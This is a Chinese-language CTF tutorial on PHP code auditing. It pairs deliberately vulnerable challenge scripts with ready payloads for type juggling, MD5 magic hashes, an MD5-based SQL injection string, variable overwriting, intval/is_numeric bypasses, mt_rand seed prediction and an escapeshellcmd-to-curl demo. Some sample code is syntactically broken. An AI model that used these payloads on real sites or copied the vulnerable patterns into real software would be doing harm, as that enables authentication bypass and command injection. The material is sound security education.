目录

CTF 中的 PHP 代码审计

CTF 中的 PHP 代码审计

1 PHP 弱类型问题

1.1 原理

双等于号: 如果类型转换后 $a 等于 $b

三等于号: 全等于 True 如果 $a 等于 $b,并且它们的类型也相同

如果一个数值和一个字符串比较,那么会将字符串转换成数值

常见的比较结果:

1
2
3
4
5
6
7
8
9
'' == 0 == false
'123' == 123
'abc' == 0
'123a' == 123
'0x01' == 1
'0e123456789' == '0e987654321'
false == 0 == NULL == ''
NULL == false == 0
true == 1

1.2 实例

1.2.1 MD5 等 hash 函数相关题目

1.2.1.1 DEMO 1

https://geekby.oss-cn-beijing.aliyuncs.com/MarkDown/20190116101600.png-water_print

Payload:url?param1=QNKCDZO&param2=aabg7XSs

1.2.2.2 DEMO 2

https://geekby.oss-cn-beijing.aliyuncs.com/MarkDown/20190116101741.png-water_print

Payload:url?param1[]=1&param2[]=

1.2.2.3 DEMO 3

https://geekby.oss-cn-beijing.aliyuncs.com/MarkDown/20190116101835.png-water_print

经过 String 强制类型转换后,当传入数组时,返回值为 Array fail,无法绕过,因此,采用 MD5 碰撞的形式。

工具:fastcoll

Payload:

https://geekby.oss-cn-beijing.aliyuncs.com/MarkDown/20190116110131.png-water_print

1.2.2.4 DEMO 4

https://geekby.oss-cn-beijing.aliyuncs.com/MarkDown/20190116101915.png-water_print

Payload:url?name[]=1&password[]=

1.2.2.5 DEMO 5 - MD5 与 SQL 注入的融合

https://geekby.oss-cn-beijing.aliyuncs.com/MarkDown/20190116103644.png-water_print

Payload:url?password=ffifdyop

https://geekby.oss-cn-beijing.aliyuncs.com/MarkDown/20190116103630.png-water_print

1.2.2 JSON 相关题目

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
<?php
highlight_file(__FILE__);
include "flag.php";
if(isset($_POST['message'])) {
    $message = json_decode(_$POST['message']);
    if($message->key == $key) {
        echo $flag;
    }
    else {
        echo "fail";
    }
}
else {
    echo "~~~~";
}
?> 

原理:字符串 flag{xxx} 和数字 0 比较,结果为 True

Payload:url?message={"key":0}

1.2.3 SWITCH 相关题目

原理:如果 switch 是数字类型的 case 判断时,switch 会将其中的参数转换为 int 类型。switch 判断时为双等于类型

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
<?php
highlight_file(__FILE__);
$i = "3nanme";
switch ($i) {
    case 0:
    case 1:
    case 2:
        echo "this is two";
        break;
    case 3:
        echo "flag";
        break;
}
?>

1.2.4 STRCMP 相关题目

原理:利用 strcmp 中的参数为数组,返回值为 NULL,在非严格比较的情况下与 0 相等。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
<?php
highlight_file(__FILE__);
include "flag.php";
if(isset($_POST['password'])) {
    if(strcmp($_POST['password'], $password) == 0) {
        echo "Right!!!login success";
        echo $flag;
        exit();
    } else {
        echo "Wrong password..";
    }
}
?>

Payload:url?password[]=

1.2.5 in_array 函数

1
2
3
4
5
6
<?php
highlight_file(__FILE__);
$array=[0, 1, 2, '3'];
var_dump(in_array('abc', $array));
var_dump(in_array('1bc', $array));
var_dump(in_array(3, $array));

返回结果为:true、true、true

1.2.6 array_search 函数

在数组中搜索给定的值,如果成功则返回首个相应的键名。

1
2
3
4
5
6
7
<?php
highlight_file(__FILE__);
$array=[0, 1, 2, '3'];
var_dump(array_search('abc', $array));
var_dump(array_search('1bc', $array));
var_dump(array_search(3, $array));
var_dump(array_search('3', $array));

返回结果为:0、1、3、3

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
<?php
if (!is_array($_GET['test'])) {
    exit();
}
$test = $_GET['test'];
for ($i = 0; $i < count($test); $i++) {
    if ($test[$i] === "admin") {
        echo "error";
        exit();
    }
    $test[$i] = intval($test[$i]);
}
if (array_search("admin", $test) === 0) {
    echo "flag";
} else {
    echo "false";
}

Payload:url?test[0]=0

1.2.7 strpos 函数

1
2
3
4
5
<?php
	var_dump(strpos('abcd', 'a'));
	// int(0)
	var_dump(strpos('abcd', 'a') == false);
	// bool(true)

2 变量覆盖问题

2.1 extract 函数

https://geekby.oss-cn-beijing.aliyuncs.com/MarkDown/20190116141716.png-water_print

demo:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
<?php
highlight_file(__FILE__);
include "flag.php";
extract($_GET);
if(isset($gift)) {
    $content = trim(file_get_contents($flag));
    if($gift == $content) {
        echo $trueflag;
    }
    else {
        echo "Oh...";
    }
}
?>

让 file_get_content() 返回值为空,即可绕过。

Payload:?gift=&flag=

2.2 遍历初始化变量

由于 php 中可以使用 $ $ 声明变量,因此存在遍历数组时可能会覆盖原来的值

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
<?php
highlight_file(__FILE__);
$a = "helloworld";
echo $a;
echo "$a";
echo "<br />"
foreach($_GET as $key => $value) {
    $$key = $value;
}
echo "$a";
?>

$key 与 $value 都可控,因此修改 $a 变量的点在代码第 8 行处,让 $key=a,$$key=$a,$value 为想要修改的值

Payload:url?a=afterChange

Demo:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php 
highlight_file(__FILE__);
include "flag.php";
$_403 = "Access Denied";
$_200 = "Welcome Admin";
if($_SERVER["REQUEST_METHOD"] != "POST") {
	die("BugsBunnyCTF is here:p...");
}
if (!isset($_POST["flag"])) {
	die($_403);
}
foreach ($_GET as $key => $value) {
	$$key = $$value;
}
foreach ($_POST as $key => $value) {
	$$key = $value;
}
if($_POST["flag"] !== $flag) {
	die($_403);
}
echo "This is your flag : ". $flag . "\n";
die($_200);
?>

Payload:url?_200=flag + post:flag=123

2.3 parse_str 函数

https://geekby.oss-cn-beijing.aliyuncs.com/MarkDown/20190116143759.png-water_print

https://geekby.oss-cn-beijing.aliyuncs.com/MarkDown/20190116143824.png-water_print

Demo:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
<?php
include "flag.php";
if(empty($_GET['id'])) {
    show_source(__FILE__);
    die();
} else { 
    include("flag.php");
    $a = "www.OPENCTF.com";
    $id = $_GET['id'];
    @parse_str($id);
    if($a[0] != "QNKCDZO" && md5($a[0]) == md5("QNKCDZO")) {
        echo $flag;
    } else {
        exit("其实很简单并不难!");
    }
}
?>

Payload:url?id=a[0]=s878926199a

技巧
由于 PHP 的变量名不能带「点」和「空格」,因此在 parase_str 函数中,他们会被转化成下划线。
1
2
3
<?php
$a = $_GET["a_a"];
echo $a;

当传入的参数名为:url?a.a=123 时,会被转化成 a_a,因此可以正常输出内容

3 空白符相关

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
<?php
highlight_file(__FILE__);
include "flag.php";
$info = "";
$req = [];
ini_set("display_error", false);
error_report(0);
if(!isset($_GET["number"])) {
    die("have a fun!");
}
foreach([$_GET, $_POST] as $global_var) {
    foreach($global_var as key => $value) {
        $value = trim($value);
        is_string($value) && $req[$key] = addslashes($value);
    }
}
function is_palindrome_number($number) {
    $number = strval($number);
    $i = 0;
    $j = strlen($number) - 1;
    while($i < $j) {
        if($number[$i] !== $number[$j]) {
            return false;
        }
        $i++;
        $j--;
    }
    return true;
}
if(is_numeric($_REQUEST['number'])) {
    $info = "Sorry, you can not input a number!";
}
else if($req['number'] != strval(intval($req['number'])))
{
    $info = "number must be equal to it\'s integer!!";
}
else
{
    $value1 = intval($req["number"]);
    $value2 = intval(strrev($req["number"]));
    if($value1 != $value2)
    {
        $info = "no, this is not a palindrome number";
    }
    else
    {
        if(is_palindrome_number($req["number"])) {
            $info = "nice! {$value1} is a palindrome number!"
        }
        else {
            $info = $flag;
        }
    }
}
echo $info;
?> 

3.1 intval 函数

成功返回 var 的 interger 值,失败时返回 0。空的 array 返回 0,非空的 array 返回 1 最大的值取决于操作系统 32 位操作系统最大有符号整型范围是 -2147483648 到 2147483647 64 位系统上,最大有符号的整数的值为 9223372036854775807

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
<?php
echo intval(42);                      // 42
echo intval(4.2);                     // 4
echo intval('42');                    // 42
echo intval('+42');                   // 42
echo intval('-42');                   // -42
echo intval(042);                     // 34
echo intval('042');                   // 42
echo intval(1e10);                    // 1000000000
echo intval('1e10');                  // 1
echo intval(0x1A);                    // 26
echo intval(42000000);                // 42000000
echo intval(420000000000000000000);   // 0
echo intval('420000000000000000000'); // 2147483647
echo intval(42, 8);                   // 42
echo intval('42', 8);                 // 34
echo intval(array());                 // 0
echo intval(array('foo', 'bar'));     // 1
?>

3.2 浮点数精度

https://geekby.oss-cn-beijing.aliyuncs.com/MarkDown/20190116150154.png-water_print

3.3 is_numeric 函数

https://geekby.oss-cn-beijing.aliyuncs.com/MarkDown/20190116150258.png-water_print

当传入的字符串中含有空格 、\t \r \n \v \f 等特殊符号,返回结果仍为 true

3.3 trim 函数

https://geekby.oss-cn-beijing.aliyuncs.com/MarkDown/20190116150551.png-water_print

函数对比:

源码
trim 去除\t\n\r\0\x0B
is_numeric、intval 跳过\t\n\r\f\v

payload : ?number=%00%0c121

4 伪随机数相关

4.1 mt_rand 函数

https://geekby.oss-cn-beijing.aliyuncs.com/MarkDown/20190116153537.png-water_print

如果我们自己指定范围,如果过小是很容易被爆破出来的,因此大多数实际应用中都是不指定范围,mt_rand() 函数默认范围是 0 到 mt_getrandmax() 之间的伪随机数

https://geekby.oss-cn-beijing.aliyuncs.com/MarkDown/20190116153802.png-water_print

相同的种子生成的随机数是相同的,所以可以通过逆推 mt_rand 的种子来获得同页面的另一个 rand 的值

https://geekby.oss-cn-beijing.aliyuncs.com/MarkDown/20190116154052.png-water_print

工具:php_mt_seed

4.2 DEMO

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
<?php
highlight_file(__FILE__);
include "flag.php";
error_reporting(0);
echo "please input a rand num!";
function create_password($pw_length = 4)
{
    $randpwd = "";
    for ($i = 0; $i < $pw_length; $i++) {
        $randpwd .= mt_rand();
    }
    return $randpwd;
}
session_start();
// var_dump($_SESSION);
$time = time();
mt_srand($time);

$pwd = create_password();
// var_dump(($_SESSION['userLogin'] == $_GET['login']));

// echo $pwd . '||';
// echo $_GET['pwd'];
// var_dump($pwd == $_GET['pwd']);
if ($pwd == $_GET['pwd']) {
    echo "first";
    //NULL == NULL 即可绕过,即保持第一次登录
    if ($_SESSION['userLogin'] == $_GET['login']) {
        echo "Nice, you get the flag it is" . $flag;
    }
} else {
    echo "Wrong!";
}
$_SESSION['userLogin'] = create_password(32) . rand();
?>

Payload:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
<?php
function create_password($pw_length=4) {
	$randpwd = "";
	for ($i=0; $i < $pw_length; $i++) { 
		$randpwd .= mt_rand();
	}
	return $randpwd;
}
mt_srand(time());
$pwd = create_password();
$url = "http://xxx/mt_rand.php?pwd=". $pwd;
system('curl'. $url);
echo $pwd;
?>

5 其它函数

5.1 运算符优先级

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php  
highlight_file(__FILE);
include "flag.php";
$a = 'test';
$b = 'test2';
$a = $_GET['a'];
$b = $_GET['b'];
// 运算符优先级,= 号 > and 号,即($c = is_numeric($a)) and is_numeric($b)
$c = is_numeric($a) and is_numeric($b);
if($c) {
    if(is_numeric($a)) {
        if(is_numeric($b)) {
            echo "is_numeric(b)";
        } else {
            echo $flag;
        }
    } else {
        echo "is_numeric(a) error";
    }
} else {
    print "is_numeric(a) and is_numeric(b) error !";
}
?>

payload:url?a=123

5.2 parase_url

https://geekby.oss-cn-beijing.aliyuncs.com/MarkDown/20190116155852.png-water_print

https://geekby.oss-cn-beijing.aliyuncs.com/MarkDown/20190116155910.png-water_print

如果指定了 component 参数, parse_url() 返回一个 string (或在指定为 PHP_URL_PORT 时返回一个 integer)而不是 array。如果 URL 中指定的组成部分不存在,将会返回 NULL。

https://geekby.oss-cn-beijing.aliyuncs.com/MarkDown/20190116155936.png-water_print

https://geekby.oss-cn-beijing.aliyuncs.com/MarkDown/20190116155951.png-water_print

Demo:

https://geekby.oss-cn-beijing.aliyuncs.com/MarkDown/20190116172107.png-water_print

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
<?php 
include "flag.php";
$number1 = rand(1, 100000000000000);
$number2 = rand(1, 100000000000);
$number3 = rand(1, 100000000);
$url = urldecode($_SERVER['REQUEST_URI']);
// 利用 http:/// 使得 parse_url 返回 false,绕过正则表达式。
$url = parse_url($url, PHP_URL_QUERY);
if (preg_match("/_/i", $url)) {
	die("..1");
}
if (preg_match("/0/i", $url)) {
	die("..2");
}
if (preg_match("/\w+/i", $url)) {
	die("..3");
}
if(isset($_GET['_']) && !empty($_GET['_'])) {
	$control = $_GET['_'];
	// in_array()函数漏洞:var_dump(0 == "a") => true
	if (!in_array($control, , array(0, $number1))) {
		die("fail1");
	}
	if (!in_array($control, , array(0, $number2))) {
		die("fail2");
	}
	if (!in_array($control, , array(0, $number3))) {
		die("fail3");
	}
	echo $flag;
}
show_source(__FILE__);
?>

Payload:http:///url?_=ahttp:///url?.=a

6 escapeshellarg 和 escapeshellcmd

6.1 相关函数

https://geekby.oss-cn-beijing.aliyuncs.com/MarkDown/20190116212629.png-water_print

https://geekby.oss-cn-beijing.aliyuncs.com/MarkDown/20190116212738.png-water_print

https://geekby.oss-cn-beijing.aliyuncs.com/MarkDown/20190116213303.png-water_print

https://geekby.oss-cn-beijing.aliyuncs.com/MarkDown/20190116213320.png-water_print

6.2 Demo

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
<?php
highlight_file(__FILE__);
function waf($a){
    foreach($a as $key => $value){
        if(preg_match('/flag/i',$key)){
            exit('are you a hacker');
        }
    }
}
foreach(array('_POST', '_GET', '_COOKIE') as $__R) {
    if($$__R) { 
        foreach($$__R as $__k => $__v) { 
            if(isset($$__k) && $$__k == $__v) unset($$__k); 
        }
    }
}
if($_POST) { waf($_POST);}
if($_GET) { waf($_GET); }
if($_COOKIE) { waf($_COOKIE);}

if($_POST) extract($_POST, EXTR_SKIP);
if($_GET) extract($_GET, EXTR_SKIP);
// var_dump($_GET);
// echo '<br></br>';
if(isset($_GET['flag'])){
    if($_GET['flag'] === $_GET['hongri']){
        exit('error');
    }
    if(md5($_GET['flag'] ) == md5($_GET['hongri'])){
        $url = $_GET['url'];
        $urlInfo = parse_url($url);
    var_dump($urlInfo);
    // echo '<br></br>';
        if(!("http" === strtolower($urlInfo["scheme"]) || "https"===strtolower($urlInfo["scheme"]))){
            die( "scheme error!");
        }
        $url = escapeshellarg($url);
        $url = escapeshellcmd($url);
        echo $url;
        system("curl ".$url);
    }
}
?>

https://geekby.oss-cn-beijing.aliyuncs.com/MarkDown/20190116214503.png-water_print